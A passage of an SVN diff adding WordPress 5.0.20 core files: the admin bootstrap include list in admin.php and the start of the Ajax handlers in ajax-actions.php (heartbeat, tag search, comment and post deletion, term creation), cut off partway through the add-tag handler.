+add_filter( 'list_pages', '_wp_privacy_settings_filter_draft_page_titles', 10, 2 );
Index: /tags/5.0.20/src/wp-admin/includes/admin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/admin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/admin.php	(revision 56912)
@@ -0,0 +1,87 @@
+<?php
+/**
+ * Core Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 2.3.0
+ */
+
+if ( ! defined('WP_ADMIN') ) {
+	/*
+	 * This file is being included from a file other than wp-admin/admin.php, so
+	 * some setup was skipped. Make sure the admin message catalog is loaded since
+	 * load_default_textdomain() will not have done so in this context.
+	 */
+	load_textdomain( 'default', WP_LANG_DIR . '/admin-' . get_locale() . '.mo' );
+}
+
+/** WordPress Administration Hooks */
+require_once(ABSPATH . 'wp-admin/includes/admin-filters.php');
+
+/** WordPress Bookmark Administration API */
+require_once(ABSPATH . 'wp-admin/includes/bookmark.php');
+
+/** WordPress Comment Administration API */
+require_once(ABSPATH . 'wp-admin/includes/comment.php');
+
+/** WordPress Administration File API */
+require_once(ABSPATH . 'wp-admin/includes/file.php');
+
+/** WordPress Image Administration API */
+require_once(ABSPATH . 'wp-admin/includes/image.php');
+
+/** WordPress Media Administration API */
+require_once(ABSPATH . 'wp-admin/includes/media.php');
+
+/** WordPress Import Administration API */
+require_once(ABSPATH . 'wp-admin/includes/import.php');
+
+/** WordPress Misc Administration API */
+require_once(ABSPATH . 'wp-admin/includes/misc.php');
+
+/** WordPress Options Administration API */
+require_once(ABSPATH . 'wp-admin/includes/options.php');
+
+/** WordPress Plugin Administration API */
+require_once(ABSPATH . 'wp-admin/includes/plugin.php');
+
+/** WordPress Post Administration API */
+require_once(ABSPATH . 'wp-admin/includes/post.php');
+
+/** WordPress Administration Screen API */
+require_once(ABSPATH . 'wp-admin/includes/class-wp-screen.php');
+require_once(ABSPATH . 'wp-admin/includes/screen.php');
+
+/** WordPress Taxonomy Administration API */
+require_once(ABSPATH . 'wp-admin/includes/taxonomy.php');
+
+/** WordPress Template Administration API */
+require_once(ABSPATH . 'wp-admin/includes/template.php');
+
+/** WordPress List Table Administration API and base class */
+require_once(ABSPATH . 'wp-admin/includes/class-wp-list-table.php');
+require_once(ABSPATH . 'wp-admin/includes/class-wp-list-table-compat.php');
+require_once(ABSPATH . 'wp-admin/includes/list-table.php');
+
+/** WordPress Theme Administration API */
+require_once(ABSPATH . 'wp-admin/includes/theme.php');
+
+/** WordPress User Administration API */
+require_once(ABSPATH . 'wp-admin/includes/user.php');
+
+/** WordPress Site Icon API */
+require_once(ABSPATH . 'wp-admin/includes/class-wp-site-icon.php');
+
+/** WordPress Update Administration API */
+require_once(ABSPATH . 'wp-admin/includes/update.php');
+
+/** WordPress Deprecated Administration API */
+require_once(ABSPATH . 'wp-admin/includes/deprecated.php');
+
+/** WordPress Multisite support API */
+if ( is_multisite() ) {
+	require_once(ABSPATH . 'wp-admin/includes/ms-admin-filters.php');
+	require_once(ABSPATH . 'wp-admin/includes/ms.php');
+	require_once(ABSPATH . 'wp-admin/includes/ms-deprecated.php');
+}
Index: /tags/5.0.20/src/wp-admin/includes/ajax-actions.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/ajax-actions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/ajax-actions.php	(revision 56912)
@@ -0,0 +1,4442 @@
+<?php
+/**
+ * Administration API: Core Ajax handlers
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 2.1.0
+ */
+
+//
+// No-privilege Ajax handlers.
+//
+
+/**
+ * Ajax handler for the Heartbeat API in
+ * the no-privilege context.
+ *
+ * Runs when the user is not logged in.
+ *
+ * @since 3.6.0
+ */
+function wp_ajax_nopriv_heartbeat() {
+	$response = array();
+
+	// screen_id is the same as $current_screen->id and the JS global 'pagenow'.
+	if ( ! empty($_POST['screen_id']) )
+		$screen_id = sanitize_key($_POST['screen_id']);
+	else
+		$screen_id = 'front';
+
+	if ( ! empty($_POST['data']) ) {
+		$data = wp_unslash( (array) $_POST['data'] );
+
+		/**
+		 * Filters Heartbeat Ajax response in no-privilege environments.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param array|object $response  The no-priv Heartbeat response object or array.
+		 * @param array        $data      An array of data passed via $_POST.
+		 * @param string       $screen_id The screen id.
+		 */
+		$response = apply_filters( 'heartbeat_nopriv_received', $response, $data, $screen_id );
+	}
+
+	/**
+	 * Filters Heartbeat Ajax response when no data is passed.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array|object $response  The Heartbeat response object or array.
+	 * @param string       $screen_id The screen id.
+	 */
+	$response = apply_filters( 'heartbeat_nopriv_send', $response, $screen_id );
+
+	/**
+	 * Fires when Heartbeat ticks in no-privilege environments.
+	 *
+	 * Allows the transport to be easily replaced with long-polling.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array|object $response  The no-priv Heartbeat response.
+	 * @param string       $screen_id The screen id.
+	 */
+	do_action( 'heartbeat_nopriv_tick', $response, $screen_id );
+
+	// Send the current time according to the server.
+	$response['server_time'] = time();
+
+	wp_send_json($response);
+}
+
+//
+// GET-based Ajax handlers.
+//
+
+/**
+ * Ajax handler for fetching a list table.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_fetch_list() {
+	$list_class = $_GET['list_args']['class'];
+	check_ajax_referer( "fetch-list-$list_class", '_ajax_fetch_list_nonce' );
+
+	$wp_list_table = _get_list_table( $list_class, array( 'screen' => $_GET['list_args']['screen']['id'] ) );
+	if ( ! $wp_list_table ) {
+		wp_die( 0 );
+	}
+
+	if ( ! $wp_list_table->ajax_user_can() ) {
+		wp_die( -1 );
+	}
+
+	$wp_list_table->ajax_response();
+
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for tag search.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_ajax_tag_search() {
+	if ( ! isset( $_GET['tax'] ) ) {
+		wp_die( 0 );
+	}
+
+	$taxonomy = sanitize_key( $_GET['tax'] );
+	$tax = get_taxonomy( $taxonomy );
+	if ( ! $tax ) {
+		wp_die( 0 );
+	}
+
+	if ( ! current_user_can( $tax->cap->assign_terms ) ) {
+		wp_die( -1 );
+	}
+
+	$s = wp_unslash( $_GET['q'] );
+
+	$comma = _x( ',', 'tag delimiter' );
+	if ( ',' !== $comma )
+		$s = str_replace( $comma, ',', $s );
+	if ( false !== strpos( $s, ',' ) ) {
+		$s = explode( ',', $s );
+		$s = $s[count( $s ) - 1];
+	}
+	$s = trim( $s );
+
+	/**
+	 * Filters the minimum number of characters required to fire a tag search via Ajax.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int         $characters The minimum number of characters required. Default 2.
+	 * @param WP_Taxonomy $tax        The taxonomy object.
+	 * @param string      $s          The search term.
+	 */
+	$term_search_min_chars = (int) apply_filters( 'term_search_min_chars', 2, $tax, $s );
+
+	/*
+	 * Require $term_search_min_chars chars for matching (default: 2)
+	 * ensure it's a non-negative, non-zero integer.
+	 */
+	if ( ( $term_search_min_chars == 0 ) || ( strlen( $s ) < $term_search_min_chars ) ){
+		wp_die();
+	}
+
+	$results = get_terms( $taxonomy, array( 'name__like' => $s, 'fields' => 'names', 'hide_empty' => false ) );
+
+	echo join( $results, "\n" );
+	wp_die();
+}
+
+/**
+ * Ajax handler for compression testing.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_wp_compression_test() {
+	if ( !current_user_can( 'manage_options' ) )
+		wp_die( -1 );
+
+	if ( ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') ) {
+		update_site_option('can_compress_scripts', 0);
+		wp_die( 0 );
+	}
+
+	if ( isset($_GET['test']) ) {
+		header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
+		header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
+		header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
+		header('Content-Type: application/javascript; charset=UTF-8');
+		$force_gzip = ( defined('ENFORCE_GZIP') && ENFORCE_GZIP );
+		$test_str = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat ac Phasellus. Et urna ac cursus tortor aliquam Aliquam amet tellus volutpat Vestibulum. Justo interdum condimentum In augue congue tellus sollicitudin Quisque quis nibh."';
+
+		 if ( 1 == $_GET['test'] ) {
+		 	echo $test_str;
+		 	wp_die();
+		 } elseif ( 2 == $_GET['test'] ) {
+			if ( !isset($_SERVER['HTTP_ACCEPT_ENCODING']) )
+				wp_die( -1 );
+			if ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) {
+				header('Content-Encoding: deflate');
+				$out = gzdeflate( $test_str, 1 );
+			} elseif ( false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && function_exists('gzencode') ) {
+				header('Content-Encoding: gzip');
+				$out = gzencode( $test_str, 1 );
+			} else {
+				wp_die( -1 );
+			}
+			echo $out;
+			wp_die();
+		} elseif ( 'no' == $_GET['test'] ) {
+			check_ajax_referer( 'update_can_compress_scripts' );
+			update_site_option('can_compress_scripts', 0);
+		} elseif ( 'yes' == $_GET['test'] ) {
+			check_ajax_referer( 'update_can_compress_scripts' );
+			update_site_option('can_compress_scripts', 1);
+		}
+	}
+
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for image editor previews.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_imgedit_preview() {
+	$post_id = intval($_GET['postid']);
+	if ( empty($post_id) || !current_user_can('edit_post', $post_id) )
+		wp_die( -1 );
+
+	check_ajax_referer( "image_editor-$post_id" );
+
+	include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+	if ( ! stream_preview_image($post_id) )
+		wp_die( -1 );
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for oEmbed caching.
+ *
+ * @since 3.1.0
+ *
+ * @global WP_Embed $wp_embed
+ */
+function wp_ajax_oembed_cache() {
+	$GLOBALS['wp_embed']->cache_oembed( $_GET['post'] );
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for user autocomplete.
+ *
+ * @since 3.4.0
+ */
+function wp_ajax_autocomplete_user() {
+	if ( ! is_multisite() || ! current_user_can( 'promote_users' ) || wp_is_large_network( 'users' ) )
+		wp_die( -1 );
+
+	/** This filter is documented in wp-admin/user-new.php */
+	if ( ! current_user_can( 'manage_network_users' ) && ! apply_filters( 'autocomplete_users_for_site_admins', false ) )
+		wp_die( -1 );
+
+	$return = array();
+
+	// Check the type of request
+	// Current allowed values are `add` and `search`
+	if ( isset( $_REQUEST['autocomplete_type'] ) && 'search' === $_REQUEST['autocomplete_type'] ) {
+		$type = $_REQUEST['autocomplete_type'];
+	} else {
+		$type = 'add';
+	}
+
+	// Check the desired field for value
+	// Current allowed values are `user_email` and `user_login`
+	if ( isset( $_REQUEST['autocomplete_field'] ) && 'user_email' === $_REQUEST['autocomplete_field'] ) {
+		$field = $_REQUEST['autocomplete_field'];
+	} else {
+		$field = 'user_login';
+	}
+
+	// Exclude current users of this blog
+	if ( isset( $_REQUEST['site_id'] ) ) {
+		$id = absint( $_REQUEST['site_id'] );
+	} else {
+		$id = get_current_blog_id();
+	}
+
+	$include_blog_users = ( $type == 'search' ? get_users( array( 'blog_id' => $id, 'fields' => 'ID' ) ) : array() );
+	$exclude_blog_users = ( $type == 'add' ? get_users( array( 'blog_id' => $id, 'fields' => 'ID' ) ) : array() );
+
+	$users = get_users( array(
+		'blog_id' => false,
+		'search'  => '*' . $_REQUEST['term'] . '*',
+		'include' => $include_blog_users,
+		'exclude' => $exclude_blog_users,
+		'search_columns' => array( 'user_login', 'user_nicename', 'user_email' ),
+	) );
+
+	foreach ( $users as $user ) {
+		$return[] = array(
+			/* translators: 1: user_login, 2: user_email */
+			'label' => sprintf( _x( '%1$s (%2$s)', 'user autocomplete result' ), $user->user_login, $user->user_email ),
+			'value' => $user->$field,
+		);
+	}
+
+	wp_die( wp_json_encode( $return ) );
+}
+
+/**
+ * Handles AJAX requests for community events
+ *
+ * @since 4.8.0
+ */
+function wp_ajax_get_community_events() {
+	require_once( ABSPATH . 'wp-admin/includes/class-wp-community-events.php' );
+
+	check_ajax_referer( 'community_events' );
+
+	$search         = isset( $_POST['location'] ) ? wp_unslash( $_POST['location'] ) : '';
+	$timezone       = isset( $_POST['timezone'] ) ? wp_unslash( $_POST['timezone'] ) : '';
+	$user_id        = get_current_user_id();
+	$saved_location = get_user_option( 'community-events-location', $user_id );
+	$events_client  = new WP_Community_Events( $user_id, $saved_location );
+	$events         = $events_client->get_events( $search, $timezone );
+	$ip_changed     = false;
+
+	if ( is_wp_error( $events ) ) {
+		wp_send_json_error( array(
+			'error' => $events->get_error_message(),
+		) );
+	} else {
+		if ( empty( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) ) {
+			$ip_changed = true;
+		} elseif ( isset( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) && $saved_location['ip'] !== $events['location']['ip'] ) {
+			$ip_changed = true;
+		}
+
+		/*
+		 * The location should only be updated when it changes. The API doesn't always return
+		 * a full location; sometimes it's missing the description or country. The location
+		 * that was saved during the initial request is known to be good and complete, though.
+		 * It should be left in tact until the user explicitly changes it (either by manually
+		 * searching for a new location, or by changing their IP address).
+		 *
+		 * If the location were updated with an incomplete response from the API, then it could
+		 * break assumptions that the UI makes (e.g., that there will always be a description
+		 * that corresponds to a latitude/longitude location).
+		 *
+		 * The location is stored network-wide, so that the user doesn't have to set it on each site.
+		 */
+		if ( $ip_changed || $search ) {
+			update_user_option( $user_id, 'community-events-location', $events['location'], true );
+		}
+
+		wp_send_json_success( $events );
+	}
+}
+
+/**
+ * Ajax handler for dashboard widgets.
+ *
+ * @since 3.4.0
+ */
+function wp_ajax_dashboard_widgets() {
+	require_once ABSPATH . 'wp-admin/includes/dashboard.php';
+
+	$pagenow = $_GET['pagenow'];
+	if ( $pagenow === 'dashboard-user' || $pagenow === 'dashboard-network' || $pagenow === 'dashboard' ) {
+		set_current_screen( $pagenow );
+	}
+
+	switch ( $_GET['widget'] ) {
+		case 'dashboard_primary' :
+			wp_dashboard_primary();
+			break;
+	}
+	wp_die();
+}
+
+/**
+ * Ajax handler for Customizer preview logged-in status.
+ *
+ * @since 3.4.0
+ */
+function wp_ajax_logged_in() {
+	wp_die( 1 );
+}
+
+//
+// Ajax helpers.
+//
+
+/**
+ * Sends back current comment total and new page links if they need to be updated.
+ *
+ * Contrary to normal success Ajax response ("1"), die with time() on success.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @param int $comment_id
+ * @param int $delta
+ */
+function _wp_ajax_delete_comment_response( $comment_id, $delta = -1 ) {
+	$total    = isset( $_POST['_total'] )    ? (int) $_POST['_total']    : 0;
+	$per_page = isset( $_POST['_per_page'] ) ? (int) $_POST['_per_page'] : 0;
+	$page     = isset( $_POST['_page'] )     ? (int) $_POST['_page']     : 0;
+	$url      = isset( $_POST['_url'] )      ? esc_url_raw( $_POST['_url'] ) : '';
+
+	// JS didn't send us everything we need to know. Just die with success message
+	if ( ! $total || ! $per_page || ! $page || ! $url ) {
+		$time           = time();
+		$comment        = get_comment( $comment_id );
+		$comment_status = '';
+		$comment_link   = '';
+
+		if ( $comment ) {
+			$comment_status = $comment->comment_approved;
+		}
+
+		if ( 1 === (int) $comment_status ) {
+			$comment_link = get_comment_link( $comment );
+		}
+
+		$counts = wp_count_comments();
+
+		$x = new WP_Ajax_Response( array(
+			'what' => 'comment',
+			// Here for completeness - not used.
+			'id' => $comment_id,
+			'supplemental' => array(
+				'status' => $comment_status,
+				'postId' => $comment ? $comment->comment_post_ID : '',
+				'time' => $time,
+				'in_moderation' => $counts->moderated,
+				'i18n_comments_text' => sprintf(
+					_n( '%s Comment', '%s Comments', $counts->approved ),
+					number_format_i18n( $counts->approved )
+				),
+				'i18n_moderation_text' => sprintf(
+					_nx( '%s in moderation', '%s in moderation', $counts->moderated, 'comments' ),
+					number_format_i18n( $counts->moderated )
+				),
+				'comment_link' => $comment_link,
+			)
+		) );
+		$x->send();
+	}
+
+	$total += $delta;
+	if ( $total < 0 )
+		$total = 0;
+
+	// Only do the expensive stuff on a page-break, and about 1 other time per page
+	if ( 0 == $total % $per_page || 1 == mt_rand( 1, $per_page ) ) {
+		$post_id = 0;
+		// What type of comment count are we looking for?
+		$status = 'all';
+		$parsed = parse_url( $url );
+		if ( isset( $parsed['query'] ) ) {
+			parse_str( $parsed['query'], $query_vars );
+			if ( !empty( $query_vars['comment_status'] ) )
+				$status = $query_vars['comment_status'];
+			if ( !empty( $query_vars['p'] ) )
+				$post_id = (int) $query_vars['p'];
+			if ( ! empty( $query_vars['comment_type'] ) )
+				$type = $query_vars['comment_type'];
+		}
+
+		if ( empty( $type ) ) {
+			// Only use the comment count if not filtering by a comment_type.
+			$comment_count = wp_count_comments($post_id);
+
+			// We're looking for a known type of comment count.
+			if ( isset( $comment_count->$status ) ) {
+				$total = $comment_count->$status;
+			}
+		}
+		// Else use the decremented value from above.
+	}
+
+	// The time since the last comment count.
+	$time = time();
+	$comment = get_comment( $comment_id );
+
+	$x = new WP_Ajax_Response( array(
+		'what' => 'comment',
+		// Here for completeness - not used.
+		'id' => $comment_id,
+		'supplemental' => array(
+			'status' => $comment ? $comment->comment_approved : '',
+			'postId' => $comment ? $comment->comment_post_ID : '',
+			'total_items_i18n' => sprintf( _n( '%s item', '%s items', $total ), number_format_i18n( $total ) ),
+			'total_pages' => ceil( $total / $per_page ),
+			'total_pages_i18n' => number_format_i18n( ceil( $total / $per_page ) ),
+			'total' => $total,
+			'time' => $time
+		)
+	) );
+	$x->send();
+}
+
+//
+// POST-based Ajax handlers.
+//
+
+/**
+ * Ajax handler for adding a hierarchical term.
+ *
+ * @access private
+ * @since 3.1.0
+ */
+function _wp_ajax_add_hierarchical_term() {
+	$action = $_POST['action'];
+	$taxonomy = get_taxonomy(substr($action, 4));
+	check_ajax_referer( $action, '_ajax_nonce-add-' . $taxonomy->name );
+	if ( !current_user_can( $taxonomy->cap->edit_terms ) )
+		wp_die( -1 );
+	$names = explode(',', $_POST['new'.$taxonomy->name]);
+	$parent = isset($_POST['new'.$taxonomy->name.'_parent']) ? (int) $_POST['new'.$taxonomy->name.'_parent'] : 0;
+	if ( 0 > $parent )
+		$parent = 0;
+	if ( $taxonomy->name == 'category' )
+		$post_category = isset($_POST['post_category']) ? (array) $_POST['post_category'] : array();
+	else
+		$post_category = ( isset($_POST['tax_input']) && isset($_POST['tax_input'][$taxonomy->name]) ) ? (array) $_POST['tax_input'][$taxonomy->name] : array();
+	$checked_categories = array_map( 'absint', (array) $post_category );
+	$popular_ids = wp_popular_terms_checklist($taxonomy->name, 0, 10, false);
+
+	foreach ( $names as $cat_name ) {
+		$cat_name = trim($cat_name);
+		$category_nicename = sanitize_title($cat_name);
+		if ( '' === $category_nicename )
+			continue;
+
+		$cat_id = wp_insert_term( $cat_name, $taxonomy->name, array( 'parent' => $parent ) );
+		if ( ! $cat_id || is_wp_error( $cat_id ) ) {
+			continue;
+		} else {
+			$cat_id = $cat_id['term_id'];
+		}
+		$checked_categories[] = $cat_id;
+		if ( $parent ) // Do these all at once in a second
+			continue;
+
+		ob_start();
+
+		wp_terms_checklist( 0, array( 'taxonomy' => $taxonomy->name, 'descendants_and_self' => $cat_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids ));
+
+		$data = ob_get_clean();
+
+		$add = array(
+			'what' => $taxonomy->name,
+			'id' => $cat_id,
+			'data' => str_replace( array("\n", "\t"), '', $data),
+			'position' => -1
+		);
+	}
+
+	if ( $parent ) { // Foncy - replace the parent and all its children
+		$parent = get_term( $parent, $taxonomy->name );
+		$term_id = $parent->term_id;
+
+		while ( $parent->parent ) { // get the top parent
+			$parent = get_term( $parent->parent, $taxonomy->name );
+			if ( is_wp_error( $parent ) )
+				break;
+			$term_id = $parent->term_id;
+		}
+
+		ob_start();
+
+		wp_terms_checklist( 0, array('taxonomy' => $taxonomy->name, 'descendants_and_self' => $term_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids));
+
+		$data = ob_get_clean();
+
+		$add = array(
+			'what' => $taxonomy->name,
+			'id' => $term_id,
+			'data' => str_replace( array("\n", "\t"), '', $data),
+			'position' => -1
+		);
+	}
+
+	ob_start();
+
+	wp_dropdown_categories( array(
+		'taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new'.$taxonomy->name.'_parent', 'orderby' => 'name',
+		'hierarchical' => 1, 'show_option_none' => '&mdash; '.$taxonomy->labels->parent_item.' &mdash;'
+	) );
+
+	$sup = ob_get_clean();
+
+	$add['supplemental'] = array( 'newcat_parent' => $sup );
+
+	$x = new WP_Ajax_Response( $add );
+	$x->send();
+}
+
+/**
+ * Ajax handler for deleting a comment.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_delete_comment() {
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	if ( !$comment = get_comment( $id ) )
+		wp_die( time() );
+	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) )
+		wp_die( -1 );
+
+	check_ajax_referer( "delete-comment_$id" );
+	$status = wp_get_comment_status( $comment );
+
+	$delta = -1;
+	if ( isset($_POST['trash']) && 1 == $_POST['trash'] ) {
+		if ( 'trash' == $status )
+			wp_die( time() );
+		$r = wp_trash_comment( $comment );
+	} elseif ( isset($_POST['untrash']) && 1 == $_POST['untrash'] ) {
+		if ( 'trash' != $status )
+			wp_die( time() );
+		$r = wp_untrash_comment( $comment );
+		if ( ! isset( $_POST['comment_status'] ) || $_POST['comment_status'] != 'trash' ) // undo trash, not in trash
+			$delta = 1;
+	} elseif ( isset($_POST['spam']) && 1 == $_POST['spam'] ) {
+		if ( 'spam' == $status )
+			wp_die( time() );
+		$r = wp_spam_comment( $comment );
+	} elseif ( isset($_POST['unspam']) && 1 == $_POST['unspam'] ) {
+		if ( 'spam' != $status )
+			wp_die( time() );
+		$r = wp_unspam_comment( $comment );
+		if ( ! isset( $_POST['comment_status'] ) || $_POST['comment_status'] != 'spam' ) // undo spam, not in spam
+			$delta = 1;
+	} elseif ( isset($_POST['delete']) && 1 == $_POST['delete'] ) {
+		$r = wp_delete_comment( $comment );
+	} else {
+		wp_die( -1 );
+	}
+
+	if ( $r ) // Decide if we need to send back '1' or a more complicated response including page links and comment counts
+		_wp_ajax_delete_comment_response( $comment->comment_ID, $delta );
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for deleting a tag.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_delete_tag() {
+	$tag_id = (int) $_POST['tag_ID'];
+	check_ajax_referer( "delete-tag_$tag_id" );
+
+	if ( ! current_user_can( 'delete_term', $tag_id ) ) {
+		wp_die( -1 );
+	}
+
+	$taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag';
+	$tag = get_term( $tag_id, $taxonomy );
+	if ( !$tag || is_wp_error( $tag ) )
+		wp_die( 1 );
+
+	if ( wp_delete_term($tag_id, $taxonomy))
+		wp_die( 1 );
+	else
+		wp_die( 0 );
+}
+
+/**
+ * Ajax handler for deleting a link.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_delete_link() {
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	check_ajax_referer( "delete-bookmark_$id" );
+	if ( !current_user_can( 'manage_links' ) )
+		wp_die( -1 );
+
+	$link = get_bookmark( $id );
+	if ( !$link || is_wp_error( $link ) )
+		wp_die( 1 );
+
+	if ( wp_delete_link( $id ) )
+		wp_die( 1 );
+	else
+		wp_die( 0 );
+}
+
+/**
+ * Ajax handler for deleting meta.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_delete_meta() {
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	check_ajax_referer( "delete-meta_$id" );
+	if ( !$meta = get_metadata_by_mid( 'post', $id ) )
+		wp_die( 1 );
+
+	if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta',  $meta->post_id, $meta->meta_key ) )
+		wp_die( -1 );
+	if ( delete_meta( $meta->meta_id ) )
+		wp_die( 1 );
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for deleting a post.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_delete_post( $action ) {
+	if ( empty( $action ) )
+		$action = 'delete-post';
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	check_ajax_referer( "{$action}_$id" );
+	if ( !current_user_can( 'delete_post', $id ) )
+		wp_die( -1 );
+
+	if ( !get_post( $id ) )
+		wp_die( 1 );
+
+	if ( wp_delete_post( $id ) )
+		wp_die( 1 );
+	else
+		wp_die( 0 );
+}
+
+/**
+ * Ajax handler for sending a post to the trash.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_trash_post( $action ) {
+	if ( empty( $action ) )
+		$action = 'trash-post';
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	check_ajax_referer( "{$action}_$id" );
+	if ( !current_user_can( 'delete_post', $id ) )
+		wp_die( -1 );
+
+	if ( !get_post( $id ) )
+		wp_die( 1 );
+
+	if ( 'trash-post' == $action )
+		$done = wp_trash_post( $id );
+	else
+		$done = wp_untrash_post( $id );
+
+	if ( $done )
+		wp_die( 1 );
+
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler to restore a post from the trash.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_untrash_post( $action ) {
+	if ( empty( $action ) )
+		$action = 'untrash-post';
+	wp_ajax_trash_post( $action );
+}
+
+/**
+ * @since 3.1.0
+ *
+ * @param string $action
+ */
+function wp_ajax_delete_page( $action ) {
+	if ( empty( $action ) )
+		$action = 'delete-page';
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	check_ajax_referer( "{$action}_$id" );
+	if ( !current_user_can( 'delete_page', $id ) )
+		wp_die( -1 );
+
+	if ( ! get_post( $id ) )
+		wp_die( 1 );
+
+	if ( wp_delete_post( $id ) )
+		wp_die( 1 );
+	else
+		wp_die( 0 );
+}
+
+/**
+ * Ajax handler to dim a comment.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_dim_comment() {
+	$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
+
+	if ( !$comment = get_comment( $id ) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'comment',
+			'id' => new WP_Error('invalid_comment', sprintf(__('Comment %d does not exist'), $id))
+		) );
+		$x->send();
+	}
+
+	if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && ! current_user_can( 'moderate_comments' ) )
+		wp_die( -1 );
+
+	$current = wp_get_comment_status( $comment );
+	if ( isset( $_POST['new'] ) && $_POST['new'] == $current )
+		wp_die( time() );
+
+	check_ajax_referer( "approve-comment_$id" );
+	if ( in_array( $current, array( 'unapproved', 'spam' ) ) ) {
+		$result = wp_set_comment_status( $comment, 'approve', true );
+	} else {
+		$result = wp_set_comment_status( $comment, 'hold', true );
+	}
+
+	if ( is_wp_error($result) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'comment',
+			'id' => $result
+		) );
+		$x->send();
+	}
+
+	// Decide if we need to send back '1' or a more complicated response including page links and comment counts
+	_wp_ajax_delete_comment_response( $comment->comment_ID );
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for adding a link category.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_add_link_category( $action ) {
+	if ( empty( $action ) )
+		$action = 'add-link-category';
+	check_ajax_referer( $action );
+	$tax = get_taxonomy( 'link_category' );
+	if ( ! current_user_can( $tax->cap->manage_terms ) ) {
+		wp_die( -1 );
+	}
+	$names = explode(',', wp_unslash( $_POST['newcat'] ) );
+	$x = new WP_Ajax_Response();
+	foreach ( $names as $cat_name ) {
+		$cat_name = trim($cat_name);
+		$slug = sanitize_title($cat_name);
+		if ( '' === $slug )
+			continue;
+
+		$cat_id = wp_insert_term( $cat_name, 'link_category' );
+		if ( ! $cat_id || is_wp_error( $cat_id ) ) {
+			continue;
+		} else {
+			$cat_id = $cat_id['term_id'];
+		}
+		$cat_name = esc_html( $cat_name );
+		$x->add( array(
+			'what' => 'link-category',
+			'id' => $cat_id,
+			'data' => "<li id='link-category-$cat_id'><label for='in-link-category-$cat_id' class='selectit'><input value='" . esc_attr($cat_id) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-$cat_id'/> $cat_name</label></li>",
+			'position' => -1
+		) );
+	}
+	$x->send();
+}
+
+/**
+ * Ajax handler to add a tag.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_add_tag() {
+	check_ajax_referer( 'add-tag', '_wpnonce_add-tag' );
